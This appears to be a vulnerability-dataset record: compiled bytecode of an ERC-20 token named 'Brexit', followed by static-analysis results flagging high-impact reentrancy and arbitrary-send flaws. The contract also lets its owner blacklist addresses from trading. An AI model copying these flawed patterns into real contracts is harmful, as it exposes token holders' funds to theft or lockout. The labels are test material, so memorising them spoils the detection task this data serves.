5180606001604052806028815260200161381260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290613019565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90613019565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611ccb565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dec565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090613019565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4272657869740000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790613019565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133ef565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e5a565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190613019565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613099565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906129a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906129a6565b6040518363ffffffff1660e01b8152600401610e1f929190612e69565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906129a6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612ebb565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b52565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e92565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612b00565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613019565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fd9565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061215490919063ffffffff16565b6121cf90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130d9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613079565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f99565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130d9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613059565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f59565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613039565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba457600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611835906130b9565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146118835760105481111561188257600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119275750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61193057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119db5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a315750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a495750600f60179054906101000a900460ff165b15611aea5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a9957600080fd5b601442611aa6919061320f565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611af530610783565b9050600f60159054906101000a900460ff16158015611b625750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7a5750600f60169054906101000a900460ff165b15611ba257611b8881611e5a565b60004790506000811115611ba057611b9f47611ccb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c4b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c5557600090505b611c6184848484612219565b50505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca69190612f37565b60405180910390fd5b5060008385611cbe91906132f0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2e600a611d2060088661215490919063ffffffff16565b6121cf90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dbd600a611daf60028661215490919063ffffffff16565b6121cf90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611de8573d6000803e3d6000fd5b5050565b6000600654821115611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a90612f79565b60405180910390fd5b6000611e3d612246565b9050611e5281846121cf90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eb8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ee65781602001602082028036833780820191505090505b5090503081600081518110611f24577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fc657600080fd5b505afa158015611fda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffe91906129a6565b81600181518110612038577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121039594939291906130f4565b600060405180830381600087803b15801561211d57600080fd5b505af1158015612131573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561216757600090506121c9565b600082846121759190613296565b90508284826121849190613265565b146121c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bb90612ff9565b60405180910390fd5b809150505b92915050565b600061221183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612271565b905092915050565b80612227576122266122d4565b5b612232848484612305565b806122405761223f6124d0565b5b50505050565b60008060006122536124e2565b9150915061226a81836121cf90919063ffffffff16565b9250505090565b600080831182906122b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122af9190612f37565b60405180910390fd5b50600083856122c79190613265565b9050809150509392505050565b60006008541480156122e857506000600954145b156122f257612303565b600060088190555060006009819055505b565b60008060008060008061231787612544565b95509550955095509550955061237586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245681612653565b6124608483612710565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124bd91906130d9565b60405180910390a3505050505050505050565b6000600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612518683635c9adc5dea000006006546121cf90919063ffffffff16565b82101561253757600654683635c9adc5dea00000935093505050612540565b81819350935050505b9091565b60008060008060008060008060006125608a600854601261274a565b9250925092506000612570612246565b905060008060006125838e8787876127e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b6000808284612604919061320f565b905083811015612649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264090612fb9565b60405180910390fd5b8091505092915050565b600061265d612246565b90506000612674828461215490919063ffffffff16565b90506126c881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612725826006546125ab90919063ffffffff16565b600681905550612740816007546125f590919063ffffffff16565b6007819055505050565b6000806000806127766064612768888a61215490919063ffffffff16565b6121cf90919063ffffffff16565b905060006127a06064612792888b61215490919063ffffffff16565b6121cf90919063ffffffff16565b905060006127c9826127bb858c6125ab90919063ffffffff16565b6125ab90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127f9858961215490919063ffffffff16565b90506000612810868961215490919063ffffffff16565b90506000612827878961215490919063ffffffff16565b905060006128508261284285876125ab90919063ffffffff16565b6125ab90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061287c6128778461318e565b613169565b9050808382526020820190508285602086028201111561289b57600080fd5b60005b858110156128cb57816128b188826128d5565b84526020840193506020830192505060018101905061289e565b5050509392505050565b6000813590506128e4816137cc565b92915050565b6000815190506128f9816137cc565b92915050565b600082601f83011261291057600080fd5b8135612920848260208601612869565b91505092915050565b600081359050612938816137e3565b92915050565b60008151905061294d816137e3565b92915050565b600081359050612962816137fa565b92915050565b600081519050612977816137fa565b92915050565b60006020828403121561298f57600080fd5b600061299d848285016128d5565b91505092915050565b6000602082840312156129b857600080fd5b60006129c6848285016128ea565b91505092915050565b600080604083850312156129e257600080fd5b60006129f0858286016128d5565b9250506020612a01858286016128d5565b9150509250929050565b600080600060608486031215612a2057600080fd5b6000612a2e868287016128d5565b9350506020612a3f868287016128d5565b9250506040612a5086828701612953565b9150509250925092565b60008060408385031215612a6d57600080fd5b6000612a7b858286016128d5565b9250506020612a8c85828601612953565b9150509250929050565b600060208284031215612aa857600080fd5b600082013567ffffffffffffffff811115612ac257600080fd5b612ace848285016128ff565b91505092915050565b600060208284031215612ae957600080fd5b6000612af784828501612929565b91505092915050565b600060208284031215612b1257600080fd5b6000612b208482850161293e565b91505092915050565b600060208284031215612b3b57600080fd5b6000612b4984828501612953565b91505092915050565b600080600060608486031215612b6757600080fd5b6000612b7586828701612968565b9350506020612b8686828701612968565b9250506040612b9786828701612968565b9150509250925092565b6000612bad8383612bb9565b60208301905092915050565b612bc281613324565b82525050565b612bd181613324565b82525050565b6000612be2826131ca565b612bec81856131ed565b9350612bf7836131ba565b8060005b83811015612c28578151612c0f8882612ba1565b9750612c1a836131e0565b925050600181019050612bfb565b5085935050505092915050565b612c3e81613336565b82525050565b612c4d81613379565b82525050565b6000612c5e826131d5565b612c6881856131fe565b9350612c7881856020860161338b565b612c81816134c5565b840191505092915050565b6000612c996023836131fe565b9150612ca4826134d6565b604082019050919050565b6000612cbc602a836131fe565b9150612cc782613525565b604082019050919050565b6000612cdf6022836131fe565b9150612cea82613574565b604082019050919050565b6000612d02601b836131fe565b9150612d0d826135c3565b602082019050919050565b6000612d25601d836131fe565b9150612d30826135ec565b602082019050919050565b6000612d486021836131fe565b9150612d5382613615565b604082019050919050565b6000612d6b6020836131fe565b9150612d7682613664565b602082019050919050565b6000612d8e6029836131fe565b9150612d998261368d565b604082019050919050565b6000612db16025836131fe565b9150612dbc826136dc565b604082019050919050565b6000612dd46024836131fe565b9150612ddf8261372b565b604082019050919050565b6000612df76017836131fe565b9150612e028261377a565b602082019050919050565b6000612e1a6011836131fe565b9150612e25826137a3565b602082019050919050565b612e3981613362565b82525050565b612e488161336c565b82525050565b6000602082019050612e636000830184612bc8565b92915050565b6000604082019050612e7e6000830185612bc8565b612e8b6020830184612bc8565b9392505050565b6000604082019050612ea76000830185612bc8565b612eb46020830184612e30565b9392505050565b600060c082019050612ed06000830189612bc8565b612edd6020830188612e30565b612eea6040830187612c44565b612ef76060830186612c44565b612f046080830185612bc8565b612f1160a0830184612e30565b979650505050505050565b6000602082019050612f316000830184612c35565b92915050565b60006020820190508181036000830152612f518184612c53565b905092915050565b60006020820190508181036000830152612f7281612c8c565b9050919050565b60006020820190508181036000830152612f9281612caf565b9050919050565b60006020820190508181036000830152612fb281612cd2565b9050919050565b60006020820190508181036000830152612fd281612cf5565b9050919050565b60006020820190508181036000830152612ff281612d18565b9050919050565b6000602082019050818103600083015261301281612d3b565b9050919050565b6000602082019050818103600083015261303281612d5e565b9050919050565b6000602082019050818103600083015261305281612d81565b9050919050565b6000602082019050818103600083015261307281612da4565b9050919050565b6000602082019050818103600083015261309281612dc7565b9050919050565b600060208201905081810360008301526130b281612dea565b9050919050565b600060208201905081810360008301526130d281612e0d565b9050919050565b60006020820190506130ee6000830184612e30565b92915050565b600060a0820190506131096000830188612e30565b6131166020830187612c44565b81810360408301526131288186612bd7565b90506131376060830185612bc8565b6131446080830184612e30565b9695505050505050565b60006020820190506131636000830184612e3f565b92915050565b6000613173613184565b905061317f82826133be565b919050565b6000604051905090565b600067ffffffffffffffff8211156131a9576131a8613496565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061321a82613362565b915061322583613362565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561325a57613259613438565b5b828201905092915050565b600061327082613362565b915061327b83613362565b92508261328b5761328a613467565b5b828204905092915050565b60006132a182613362565b91506132ac83613362565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132e5576132e4613438565b5b828202905092915050565b60006132fb82613362565b915061330683613362565b92508282101561331957613318613438565b5b828203905092915050565b600061332f82613342565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061338482613362565b9050919050565b60005b838110156133a957808201518184015260208101905061338e565b838111156133b8576000848401525b50505050565b6133c7826134c5565b810181811067ffffffffffffffff821117156133e6576133e5613496565b5b80604052505050565b60006133fa82613362565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561342d5761342c613438565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137d581613324565b81146137e057600080fd5b50565b6137ec81613336565b81146137f757600080fd5b50565b61380381613362565b811461380e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200218c9b9c9f94270693cabcfba0f73301ccbca7e713137c82f0aab799074b70e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,799